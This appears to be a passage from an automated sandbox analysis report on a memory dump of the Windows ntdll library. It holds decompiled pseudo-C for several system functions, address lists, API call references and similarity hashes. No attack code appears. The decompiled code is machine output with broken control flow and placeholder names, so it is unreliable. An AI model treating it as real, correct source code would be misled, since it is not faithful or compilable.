0x6a9e402b
0x6a9e402f
0x6a9e4043
0x6a9e4046
0x6a9e4051
0x6a9e4057
0x6a9e405f
0x6a9e4062
0x6a9e4067
0x6a9e406f
0x6a9e407c
0x6a9e407c
0x6a9e408c
0x6a9e408c
0x6a9e4097

APIs

RtlAcquireSRWLockExclusive.1105(00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?,?,6A944E1B,0000000F), ref: 6A9E402F
RtlAcquireSRWLockExclusive.1105(6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?,?,6A944E1B,0000000F), ref: 6A9E4046

Part of subcall function 6A932280: RtlDllShutdownInProgress.1105(00000000), ref: 6A9322BA
Part of subcall function 6A932280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6A9323A3

RtlRbRemoveNode.1105(6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?,?,6A944E1B), ref: 6A9E4051
RtlReleaseSRWLockExclusive.1105(6AA086AC,6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?,?), ref: 6A9E4057
RtlReleaseSRWLockExclusive.1105(00000001,6AA086AC,6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?), ref: 6A9E4062
RtlFreeHeap.1105(?,00000000,?,00000001,6AA086AC,6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001), ref: 6A9E407C
RtlFreeHeap.1105(?,00000000,?,00000001,6AA086AC,6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001), ref: 6A9E408C

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireFreeHeapRelease$AlertNodeProgressRemoveShutdownThreadWait
String ID:
API String ID: 83280457-0
Opcode ID: 0add2be75fe5ea20f169583db37424d45dd0abd2fc681e56fb4477d62515b4eb
Instruction ID: 4f67d6f2bd8f5b8c782777f9c03f181071488a861f77b85531e20300b9a42ec1
Opcode Fuzzy Hash: 0add2be75fe5ea20f169583db37424d45dd0abd2fc681e56fb4477d62515b4eb
Instruction Fuzzy Hash: 52018472201659BFD3119B69CD84E53B7BCFF99658F120225F50887A12DF34EC51CAE4

Uniqueness

Uniqueness Score: -1.00%

Function 6A9AFF10, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p,?,000000FF,?,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000,?,6A911E03,?), ref: 6A9AFF69
RtlDecodePointer.1105(6A9F09B0,00000014,6A92EBD8,?,?,?,00000000,?,6A911E03,?,6A911D6E,?), ref: 6A9AFF78
RtlRaiseStatus.1105(C0000264,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000,?,6A911E03,?,6A911D6E,?), ref: 6A9AFF89
RtlDebugPrintTimes.1105(?,C0000264,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000,?,6A911E03,?,6A911D6E,?), ref: 6A9AFF9A
RtlpNotOwnerCriticalSection.1105 ref: 6A9AFFB1

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 6A9AFF60

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CriticalDebugDecodeOwnerPointerRaiseRtlpSectionStatusTimes
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 2675442896-1911121157
Opcode ID: 3eafd8a9591c71da6e695849a7a4ead58ec2611b6d689688039e1e77c4e7d697
Instruction ID: ae53c18a5ae380c6db754fe4ae66316aa44b094365fcac04ba7fd67ce584fcec
Opcode Fuzzy Hash: 3eafd8a9591c71da6e695849a7a4ead58ec2611b6d689688039e1e77c4e7d697
Instruction Fuzzy Hash: 5711AD71910654EFDF12DB50C948F98BBB1FF09718F328055E608AB2A2CF39DA81DB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A94DA88, Relevance: 9.3, APIs: 6, Instructions: 253
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A94DA88(void* __ebx, signed int __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t111;
				signed int _t116;
				void* _t120;
				signed int* _t124;
				signed int _t125;
				signed int* _t126;
				void* _t132;
				signed int* _t135;
				signed int _t140;
				intOrPtr _t148;
				signed int _t150;
				signed char _t158;
				signed int _t159;
				signed short* _t160;
				void* _t162;
				signed int _t166;
				signed short* _t167;
				void* _t168;
				signed int _t170;
				intOrPtr* _t171;
				signed int* _t173;
				signed int* _t174;
				signed int _t176;
				signed int _t179;
				void* _t183;
				signed int _t185;
				signed int _t187;
				signed int _t188;
				signed int _t189;
				signed int _t190;
				void* _t191;

				_push(0x20);
				_push(0x6a9f0268);
				E6A96D08C(__ebx, __edi, __esi);
				 *(_t191 - 0x1c) = __edx;
				 *(_t191 - 0x24) = __ecx;
				if(__ecx == 0) {
					L23:
					_t111 = 0;
					L22:
					return E6A96D0D1(_t111);
				}
				_t158 =  *(_t191 + 0x14);
				if((_t158 & 0xffffffcc) != 0 || (_t158 & 0x00000003) == 3) {
					goto L23;
				} else {
					_t116 = _t158 & 0x00000001;
					 *(_t191 - 0x28) = _t116;
					if(_t116 != 0) {
						if(__edx != 0) {
							goto L4;
						} else {
							goto L23;
						}
					}
					L4:
					E6A932280(_t116, 0x6aa0861c);
					_t185 = 0;
					 *((intOrPtr*)(_t191 - 4)) = 0;
					_t187 = 0;
					while(1) {
						 *(_t191 - 0x20) = _t187;
						if(_t187 >=  *0x6aa06da4) {
							break;
						}
						_t170 = _t187 << 5;
						 *(_t191 - 0x2c) = _t170;
						_t171 =  *0x6aa06da0 + _t170;
						if( *((intOrPtr*)(_t171 + 4)) ==  *(_t191 - 0x24)) {
							if((_t158 & 0x00000002) != 0) {
								if( *((intOrPtr*)(_t171 + 8)) != _t185) {
									L21:
									 *((intOrPtr*)(_t191 - 4)) = 0xfffffffe;
									E6A94DCE8();
									_t111 = 1;
									goto L22;
								}
							}
							if( *(_t191 - 0x28) == 0 ||  *(_t171 + 0x10) == 0) {
								goto L8;
							} else {
								_t148 =  *((intOrPtr*)(_t191 + 0x10));
								if(_t148 == 0 ||  *_t171 != _t148) {
									goto L8;
								} else {
									_t150 =  *( *(_t191 - 0x1c));
									if(_t150 == 0xffffffff) {
										L57:
										_t183 =  *0x6aa06da0;
										_t190 =  *(_t191 - 0x2c);
										 *( *(_t191 - 0x1c)) =  *(_t190 + _t183 + 0x10);
										_t173 =  *(_t191 + 8);
										if(_t173 != 0) {
											 *_t173 =  *(_t190 + _t183 + 0x14);
										}
										goto L21;
									} else {
										if((_t158 & 0x00000020) == 0) {
											_push(_t150 & 0xfffffffc);
											_push(0xffffffff);
											E6A9597A0();
											_t174 =  *(_t191 + 8);
											if(_t174 != 0) {
												_push( *_t174);
												E6A9595D0();
											}
											goto L57;
										}
										if( *(_t171 + 0x10) == 0xffffffff) {
											 *(_t171 + 0x10) = _t185;
										}
										break;
									}
									L32:
									if((_t158 & 0x00000002) != 0) {
										if(_t167[4] != _t185) {
											goto L33;
										}
										_t167[4] =  *(_t191 + 0xc);
										_t167[0xe] =  *(_t191 + 0x18);
										goto L21;
									}
									L33:
									if((_t158 & 0x00000001) == 0 || _t167[8] != _t185) {
										L15:
										_t188 = _t188 + 1;
										while(1) {
											L13:
											 *(_t191 - 0x20) = _t188;
											if(_t188 >=  *0x6aa06da4) {
												RtlImageNtHeader(_t176 & 0xfffffffc);
												if(_t120 != 0) {
													 *(_t191 - 0x2c) =  *(_t120 + 0x58);
													_t179 =  *0x6aa06da4 << 5;
													_t162 =  *0x6aa06da0;
													 *(_t179 + _t162 + 4) =  *(_t191 - 0x24);
													 *(_t179 + _t162 + 8) =  *(_t191 + 0xc);
													_t159 = _t158 & 0x00000001;
													if(_t159 != 0) {
														_t124 =  *(_t191 - 0x1c);
														if(_t124 == 0) {
															_t125 = _t185;
														} else {
															_t125 =  *_t124;
														}
														 *(_t179 + _t162 + 0x10) = _t125;
														_t126 =  *(_t191 + 8);
														if(_t126 != 0) {
															_t185 =  *_t126;
														}
														 *(_t179 + _t162 + 0x14) = _t185;
														 *(_t179 + _t162 + 0x18) =  *(_t191 + 0x1c);
													} else {
														 *(_t179 + _t162 + 0x10) = _t185;
														 *(_t179 + _t162 + 0x14) = _t185;
														 *(_t179 + _t162 + 0x18) = _t185;
													}
													 *((short*)(_t162 + _t179)) =  *((intOrPtr*)(_t191 + 0x10));
													 *(_t179 + _t162 + 0xc) =  *(_t191 - 0x2c);
													 *(_t179 + _t162 + 0x1c) =  *(_t191 + 0x18);
													if( *0x6aa06db0 != 0) {
														if(_t159 != 0) {
															_t189 = _t188 << 5;
															if(E6A9A6652(_t162 + _t189, 1) >= 0 && ( *0x6aa06db0 & 0x00000002) != 0) {
																_t132 =  *0x6aa06da0;
																if( *((intOrPtr*)(_t189 + _t132 + 0x1c)) == 0xc0000019) {
																	 *( *(_t191 - 0x1c)) =  *(_t189 + _t132 + 0x10);
																}
															}
														}
													}
													 *0x6aa06da4 =  *0x6aa06da4 + 1;
												}
												goto L21;
											}
											_t166 = _t188 << 5;
											 *(_t191 - 0x2c) = _t166;
											_t167 =  *0x6aa06da0 + _t166;
											if(_t167[2] == _t176) {
												goto L32;
											}
											goto L15;
										}
										goto L21;
									} else {
										_t120 =  *_t167 & 0x0000ffff;
										if(_t120 ==  *((intOrPtr*)(_t191 + 0x10)) || _t120 == 0) {
											_t160 =  *(_t191 - 0x1c);
											_t167[8] =  *_t160;
											_t135 =  *(_t191 + 8);
											if(_t135 != 0) {
												_t185 =  *_t135;
											}
											_t167[0xa] = _t185;
											 *_t167 =  *((intOrPtr*)(_t191 + 0x10));
											_t167[0xe] =  *(_t191 + 0x18);
											_t167[0xc] =  *(_t191 + 0x1c);
											if( *0x6aa06db0 != 0 && E6A9A6652(_t167, 1) >= 0 && ( *0x6aa06db0 & 0x00000002) != 0) {
												_t168 =  *0x6aa06da0;
												_t140 =  *(_t191 - 0x2c);
												if( *((intOrPtr*)(_t140 + _t168 + 0x1c)) == 0xc0000019) {
													 *_t160 =  *(_t140 + _t168 + 0x10);
												}
											}
											goto L21;
										} else {
											goto L15;
										}
									}
								}
							}
						} else {
							if((_t158 & 0x00000010) != 0) {
								if( *0x6aa06db0 != 0 &&  *((intOrPtr*)(_t171 + 0x14)) != 0 &&  *((intOrPtr*)(_t171 + 0x14)) != 0xffffffff) {
									E6A9A6652(_t171, 0);
								}
							}
							L8:
							_t187 = _t187 + 1;
							continue;
						}
					}
					if((_t158 & 0x00000010) != 0) {
						goto L21;
					}
					if( *0x6aa06da0 == 0) {
						_t120 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x400);
						if(_t120 == 0) {
							goto L21;
						} else {
							 *0x6aa06da0 = _t120;
							 *0x6aa06da8 = 0x20;
							L12:
							_t188 = _t185;
							_t176 =  *(_t191 - 0x24);
							goto L13;
						}
					}
					_t120 =  *0x6aa06da8;
					if( *0x6aa06da4 >= _t120) {
						_t120 = RtlReAllocateHeap( *( *[fs:0x30] + 0x18), 8,  *0x6aa06da0, _t120 + 0x20 << 5);
						if(_t120 == 0) {
							goto L21;
						}
						 *0x6aa06da0 = _t120;
						 *0x6aa06da8 =  *0x6aa06da8 + 0x20;
					}
					goto L12;
				}
			}

0x6a94da88
0x6a94da8a
0x6a94da8f
0x6a94da94
0x6a94da99
0x6a94da9e
0x6a94dbe5
0x6a94dbe5
0x6a94dbdd
0x6a94dbe2
0x6a94dbe2
0x6a94daa4
0x6a94daad
0x00000000
0x6a94dac0
0x6a94dac2
0x6a94dac5
0x6a94dac8
0x6a94dbeb
0x00000000
0x6a94dbf1
0x00000000
0x6a94dbf1
0x6a94dbeb
0x6a94dace
0x6a94dad3
0x6a94dad8
0x6a94dada
0x6a94dadd
0x6a94dadf
0x6a94dadf
0x6a94dae8
0x00000000
0x00000000
0x6a94daec
0x6a94daef
0x6a94daf2
0x6a94dafe
0x6a94dbf6
0x6a98b245
0x6a94dbcf
0x6a94dbcf
0x6a94dbd6
0x6a94dbdb
0x00000000
0x6a94dbdb
0x6a98b24b
0x6a94dc00
0x00000000
0x6a94dc10
0x6a94dc10
0x6a94dc17
0x00000000
0x6a94dc26
0x6a98b253
0x6a98b258
0x6a98b28a
0x6a98b28a
0x6a98b290
0x6a98b29a
0x6a98b29c
0x6a98b2a1
0x6a98b2ab
0x6a98b2ab
0x00000000
0x6a98b25a
0x6a98b25d
0x6a98b274
0x6a98b275
0x6a98b277
0x6a98b27c
0x6a98b281
0x6a98b283
0x6a98b285
0x6a98b285
0x00000000
0x6a98b281
0x6a98b263
0x6a98b269
0x6a98b269
0x00000000
0x6a98b263
0x6a94dc2b
0x6a94dc2e
0x6a98b318
0x00000000
0x00000000
0x6a98b321
0x6a98b327
0x00000000
0x6a98b327
0x6a94dc34
0x6a94dc37
0x6a94db5e
0x6a94db5e
0x6a94db3c
0x6a94db3c
0x6a94db3c
0x6a94db45
0x6a94db65
0x6a94db6c
0x6a94db71
0x6a94db7a
0x6a94db7d
0x6a94db86
0x6a94db8d
0x6a94db91
0x6a94db94
0x6a94dcc2
0x6a94dcc7
0x6a94dcf3
0x6a94dcc9
0x6a94dcc9
0x6a94dcc9
0x6a94dccb
0x6a94dccf
0x6a94dcd4
0x6a94dcd6
0x6a94dcd6
0x6a94dcd8
0x6a94dcdf
0x6a94db9a
0x6a94db9a
0x6a94db9e
0x6a94dba2
0x6a94dba2
0x6a94dbaa
0x6a94dbb1
0x6a94dbb8
0x6a94dbc3
0x6a98b36f
0x6a98b375
0x6a98b383
0x6a98b396
0x6a98b3a3
0x6a98b3b0
0x6a98b3b0
0x6a98b3a3
0x6a98b383
0x6a98b36f
0x6a94dbc9
0x6a94dbc9
0x00000000
0x6a94db6c
0x6a94db49
0x6a94db4c
0x6a94db4f
0x6a94db58
0x00000000
0x00000000
0x00000000
0x6a94db58
0x00000000
0x6a94dc46
0x6a94dc46
0x6a94dc4d
0x6a94dc58
0x6a94dc5d
0x6a94dc60
0x6a94dc65
0x6a94dc67
0x6a94dc67
0x6a94dc69
0x6a94dc70
0x6a94dc76
0x6a94dc7c
0x6a94dc86
0x6a98b34b
0x6a98b351
0x6a98b35c
0x6a98b366
0x6a98b366
0x6a98b35c
0x00000000
0x00000000
0x00000000
0x00000000
0x6a94dc4d
0x6a94dc37
0x6a94dc17
0x6a94db04
0x6a94db07
0x6a98b2b9
0x6a98b2d5
0x6a98b2d5
0x6a98b2b9
0x6a94db0d
0x6a94db0d
0x00000000
0x6a94db0d
0x6a94dafe
0x6a94db13
0x00000000
0x00000000
0x6a94db20
0x6a94dca1
0x6a94dca8
0x00000000
0x6a94dcae
0x6a94dcae
0x6a94dcb3
0x6a94db37
0x6a94db37
0x6a94db39
0x00000000
0x6a94db39
0x6a94dca8
0x6a94db26
0x6a94db31
0x6a98b2f7
0x6a98b2fe
0x00000000
0x00000000
0x6a98b304
0x6a98b309
0x6a98b309
0x00000000
0x6a94db31

APIs

RtlAcquireSRWLockExclusive.1105(6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6A94DAD3
RtlImageNtHeader.1105(00000001,6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6A94DB65
RtlAllocateHeap.1105(?,00000008,00000400,6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?), ref: 6A94DCA1

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireAllocateExclusiveHeaderHeapImageLock
String ID:
API String ID: 1783064793-0
Opcode ID: b2b1b889bd216a3d203b49d652e0f54215b303e166fc5ed4b0f7962f3fb1bfc3
Instruction ID: 7e6efaf5645f9fc54213a1a99831438da76eb552804f170ebfea2ad7c77d4b10
Opcode Fuzzy Hash: b2b1b889bd216a3d203b49d652e0f54215b303e166fc5ed4b0f7962f3fb1bfc3
Instruction Fuzzy Hash: 5CA12278A087059FEB558F28C490799B7F4FF0A358F35855ED8219B392DBB1D882CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A915AC0, Relevance: 9.2, APIs: 6, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A915AC0(signed char _a4, long _a8, signed int _a12, void* _a16, void* _a20) {
				signed int _v8;
				void _v1036;
				char _v1037;
				char _v1038;
				signed int _v1044;
				long _v1048;
				char _v1052;
				signed int _v1056;
				void* _v1060;
				void* _v1064;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				signed int _t81;
				void* _t92;
				signed int _t111;
				signed char _t122;
				void* _t135;
				signed int _t136;
				void* _t144;
				long _t145;
				signed int _t147;

				_v8 =  *0x6aa0d360 ^ _t147;
				_t76 = _a16;
				_t140 = _a12;
				_t145 = _a8;
				_v1064 = _t76;
				_t144 = _a20;
				_v1060 = _t144;
				if(_t145 == 0 || _t144 == 0 ||  *_t144 < 0 || _t140 < 0xffffffff ||  *_t144 > 0 && _t76 == 0) {
					L46:
					_t77 = 0xc000000d;
					goto L18;
				} else {
					_t122 = _a4;
					if((_t122 & 0xfffffff0) != 0) {
						goto L46;
					}
					if(_t140 == 0xffffffff) {
						_t140 = 0x203;
						if(E6A92347D(_t145, 0x203,  &_v1056) < 0) {
							L23:
							_t77 = 0xc0000716;
							L18:
							return E6A95B640(_t77, _t122, _v8 ^ _t147, _t140, _t144, _t145);
						}
						_t140 = _v1056 + 1;
					}
					_t81 =  *(_t145 + _t140 * 2 - 2) & 0x0000ffff;
					_v1044 = _t81;
					if(_t81 == 0) {
						_t140 = _t140 - 1;
					}
					_v1048 = 0x1ff;
					_v1056 = _t122 & 0x00000004;
					if(E6A915C07(_t145, _t140,  &_v1036,  &_v1048, (_t122 >> 0x00000001 & 0 | (_t122 & 0x00000004) != 0x00000000) & 0x000000ff, _t122 >> 0x00000001 & 1,  &_v1038,  &_v1052) < 0) {
						goto L18;
					} else {
						_t145 = _v1048;
						if(_v1044 == 0) {
							if(_t145 >= 0x1ff) {
								goto L23;
							}
							_t92 = _t145 + _t145;
							_t145 = _t145 + 1;
							_v1048 = _t145;
							if(_t92 >= 0x3fe) {
								E6A95B75A();
								L29:
								if(_v1056 == 0 || E6A9CB0D0( &_v1036, 1,  &_v1036, _v1052 -  &_v1036 >> 1,  &_v1037) >= 0 && _v1037 != 0) {
									_t140 = _v1052 -  &_v1036 >> 1;
									if(_t140 >= _t145 - (0 | _v1044 == 0x00000000)) {
										L13:
										_t135 = _v1064;
										if(_t135 == 0 ||  *_t144 == 0) {
											L17:
											 *_t144 = _t145;
											_t77 = 0;
											goto L18;
										} else {
											if(_t145 >  *_t144) {
												_t77 = 0xc0000023;
												goto L18;
											}
											memcpy(_t135,  &_v1036, _t145 + _t145);
											goto L17;
										}
									}
									_t145 = _t145 - (0 | _v1044 == 0x00000000) + 1 - _t140;
									_v1044 = _v1052 + 2;
									_t144 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t145);
									if(_t144 != 0) {
										_t140 = _v1044;
										_t136 = 0;
										if(_t145 <= 0) {
											L39:
											if(E6A9CB0D0(_t136, _t122, _t140, _t145,  &_v1037) < 0 || _v1037 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t144);
												goto L23;
											} else {
												_t111 = 0;
												if(_t145 <= 0) {
													L45:
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t144);
													_t145 = _v1048;
													_t144 = _v1060;
													goto L13;
												} else {
													goto L42;
												}
												do {
													L42:
													if( *((char*)(_t144 + _t111)) == 1) {
														_t140 = 0xffe0;
														 *((intOrPtr*)(_v1044 + _t111 * 2)) =  *((intOrPtr*)(_v1044 + _t111 * 2)) + 0xffe0;
													}
													_t111 = _t111 + 1;
												} while (_t111 < _t145);
												goto L45;
											}
										} else {
											goto L36;
										}
										do {
											L36:
											if(( *(_t140 + _t136 * 2) & 0x0000ffff) + 0xffffffbf <= 0x19) {
												 *(_t140 + _t136 * 2) =  *(_t140 + _t136 * 2) + 0x20;
												 *((char*)(_t144 + _t136)) = 1;
											}
											_t136 = _t136 + 1;
										} while (_t136 < _t145);
										goto L39;
									}
									_t77 = 0xc0000017;
									goto L18;
								} else {
									goto L23;
								}
							}
							 *((short*)(_t147 + _t92 - 0x408)) = 0;
						}
						if((_t122 & 0x00000008) != 0 || _v1038 != 0) {
							goto L13;
						} else {
							goto L29;
						}
					}
				}
			}

0x6a915ad2
0x6a915ad5
0x6a915ad8
0x6a915add
0x6a915ae0
0x6a915ae7
0x6a915aea
0x6a915af2
0x6a9712e6
0x6a9712e6
0x00000000
0x6a915b1f
0x6a915b1f
0x6a915b28
0x00000000
0x00000000
0x6a915b31
0x6a971142
0x6a971151
0x6a971170
0x6a971170
0x6a915bed
0x6a915bfd
0x6a915bfd
0x6a971159
0x6a971159
0x6a915b37
0x6a915b3e
0x6a915b47
0x6a97117a
0x6a97117a
0x6a915b53
0x6a915b70
0x6a915b9a
0x00000000
0x6a915b9c
0x6a915ba4
0x6a915baa
0x6a971186
0x00000000
0x00000000
0x6a971188
0x6a97118b
0x6a97118c
0x6a971197
0x6a9711a8
0x6a9711ad
0x6a9711b4
0x6a9711f5
0x6a971207
0x6a915bc2
0x6a915bc2
0x6a915bca
0x6a915be9
0x6a915be9
0x6a915beb
0x00000000
0x6a915bd1
0x6a915bd3
0x6a915c00
0x00000000
0x6a915c00
0x6a915be1
0x00000000
0x6a915be6
0x6a915bca
0x6a971225
0x6a971227
0x6a97123e
0x6a971242
0x6a97124e
0x6a971254
0x6a971258
0x6a971275
0x6a971291
0x6a97116b
0x00000000
0x6a9712a4
0x6a9712a4
0x6a9712a8
0x6a9712c4
0x6a9712d0
0x6a9712d5
0x6a9712db
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9712aa
0x6a9712aa
0x6a9712ae
0x6a9712b6
0x6a9712bb
0x6a9712bb
0x6a9712bf
0x6a9712c0
0x00000000
0x6a9712aa
0x00000000
0x00000000
0x00000000
0x6a97125a
0x6a97125a
0x6a971265
0x6a971267
0x6a97126c
0x6a97126c
0x6a971270
0x6a971271
0x00000000
0x6a97125a
0x6a971244
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9711b4
0x6a97119b
0x6a97119b
0x6a915bb3
0x00000000
0x00000000
0x00000000
0x00000000
0x6a915bb3
0x6a915b9a

APIs

memcpy.1105(?,?,00000200,?,000001FF,?,?,?,?), ref: 6A915BE1

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 012349c1f8b1723dc286a27023237b20c0b0b242484d3d9dae9035470b11f4f1
Instruction ID: 7d0cb23f7780cf4268ec18722fa83fa4ba86afb9f896136019054d6f983a414a
Opcode Fuzzy Hash: 012349c1f8b1723dc286a27023237b20c0b0b242484d3d9dae9035470b11f4f1
Instruction Fuzzy Hash: 2A81C2B1A0411D9FDB308A28CD90BDA73B8EB45314F3241A9DA15E7291EF74DEC18BB4

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E2EF7, Relevance: 9.2, APIs: 6, Instructions: 183
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 35%

			E6A9E2EF7(void* __ecx, signed int __edx, void* _a8, signed int _a12) {
				char _v5;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t62;
				void* _t71;
				signed int _t94;
				signed int _t105;
				signed int _t106;
				void* _t107;
				signed int _t114;
				signed int _t115;
				signed int _t141;
				signed int _t142;
				signed char _t145;
				signed char _t146;
				void* _t154;
				signed int _t155;
				void* _t156;
				signed int _t160;
				signed int _t164;
				void* _t165;
				signed int _t172;
				signed int _t174;

				_push(__ecx);
				_push(__ecx);
				_t105 = __edx;
				_t154 = __ecx;
				_t160 =  *__edx ^ __edx;
				_t141 =  *(__edx + 4) ^ __edx;
				if(( *(_t160 + 4) ^ _t160) != __edx || ( *_t141 ^ _t141) != __edx) {
					_t114 = 3;
					asm("int 0x29");
					_t174 = (_t172 & 0xfffffff8) - 0x24;
					_t62 =  *0x6aa0d360 ^ _t174;
					_v32 = _t62;
					_push(_t105);
					_push(_t160);
					_t106 = _t114;
					_t115 = _v20;
					_push(_t154);
					_t155 = _t141;
					_t142 = _v16;
					__eflags = _t115;
					if(__eflags != 0) {
						asm("bsf esi, ecx");
					} else {
						asm("bsf esi, edx");
						_t62 = (_t62 & 0xffffff00 | __eflags != 0x00000000) & 0x000000ff;
						__eflags = _t62;
						if(_t62 == 0) {
							_t160 = _v44;
						} else {
							_t160 = _t160 + 0x20;
						}
					}
					__eflags = _t142;
					if(__eflags == 0) {
						asm("bsr eax, ecx");
					} else {
						asm("bsr ecx, edx");
						if(__eflags == 0) {
							_t62 = _v44;
						} else {
							_t27 = _t115 + 0x20; // 0x20
							_t62 = _t27;
						}
					}
					_v56 = (_t160 << 0xc) + _t155;
					_v60 = _t62 - _t160 + 1 << 0xc;
					_t71 = E6A95D0F0(1, _t62 - _t160 + 1, 0);
					asm("adc edx, 0xffffffff");
					_v52 = E6A95D0F0(_t71 + 0xffffffff, _t160, 0);
					_v48 = 0;
					_v44 = _t155 + 0x10;
					E6A932280(_t155 + 0x10, _t155 + 0x10);
					__eflags = _a12;
					_push(_v64);
					_push(_v60);
					_push( *((intOrPtr*)(_t106 + 0x20)));
					if(_a12 == 0) {
						 *0x6aa0b1e0();
						 *( *(_t106 + 0x30) ^  *0x6aa06110 ^ _t106)();
						 *(_t155 + 0xc) =  *(_t155 + 0xc) &  !_v60;
						_t54 = _t155 + 8;
						 *_t54 =  *(_t155 + 8) &  !_v64;
						__eflags =  *_t54;
						goto L18;
					} else {
						 *0x6aa0b1e0();
						_t164 =  *( *(_t106 + 0x2c) ^  *0x6aa06110 ^ _t106)();
						__eflags = _t164;
						if(_t164 >= 0) {
							 *(_t155 + 8) =  *(_t155 + 8) | _v64;
							 *(_t155 + 0xc) =  *(_t155 + 0xc) | _v60;
							L18:
							asm("lock xadd [eax], ecx");
							_t164 = 0;
							__eflags = 0;
						}
					}
					E6A92FFB0(_t106, _t155, _v56);
					_pop(_t156);
					_pop(_t165);
					_pop(_t107);
					__eflags = _v48 ^ _t174;
					return E6A95B640(_t164, _t107, _v48 ^ _t174, 0, _t156, _t165);
				} else {
					_t94 = _t141 ^ _t160;
					 *_t141 = _t94;
					 *(_t160 + 4) = _t94;
					_t145 =  !( *(__edx + 8));
					_t146 = _t145 >> 8;
					_v12 = _t146 >> 8;
					_v5 =  *((intOrPtr*)((_t145 & 0x000000ff) + 0x6a8fac00)) +  *((intOrPtr*)((_t146 & 0x000000ff) + 0x6a8fac00));
					asm("lock xadd [eax], edx");
					return __ecx + 0x18;
				}
			}

0x6a9e2efc
0x6a9e2efd
0x6a9e2eff
0x6a9e2f03
0x6a9e2f0a
0x6a9e2f0c
0x6a9e2f15
0x6a9e2fba
0x6a9e2fbb
0x6a9e2fc5
0x6a9e2fcd
0x6a9e2fcf
0x6a9e2fd3
0x6a9e2fd4
0x6a9e2fd5
0x6a9e2fd7
0x6a9e2fda
0x6a9e2fdb
0x6a9e2fdd
0x6a9e2fe0
0x6a9e2fe2
0x6a9e2ffc
0x6a9e2fe4
0x6a9e2fe4
0x6a9e2fea
0x6a9e2fed
0x6a9e2fef
0x6a9e2ff6
0x6a9e2ff1
0x6a9e2ff1
0x6a9e2ff1
0x6a9e2fef
0x6a9e2fff
0x6a9e3001
0x6a9e301b
0x6a9e3003
0x6a9e3003
0x6a9e300e
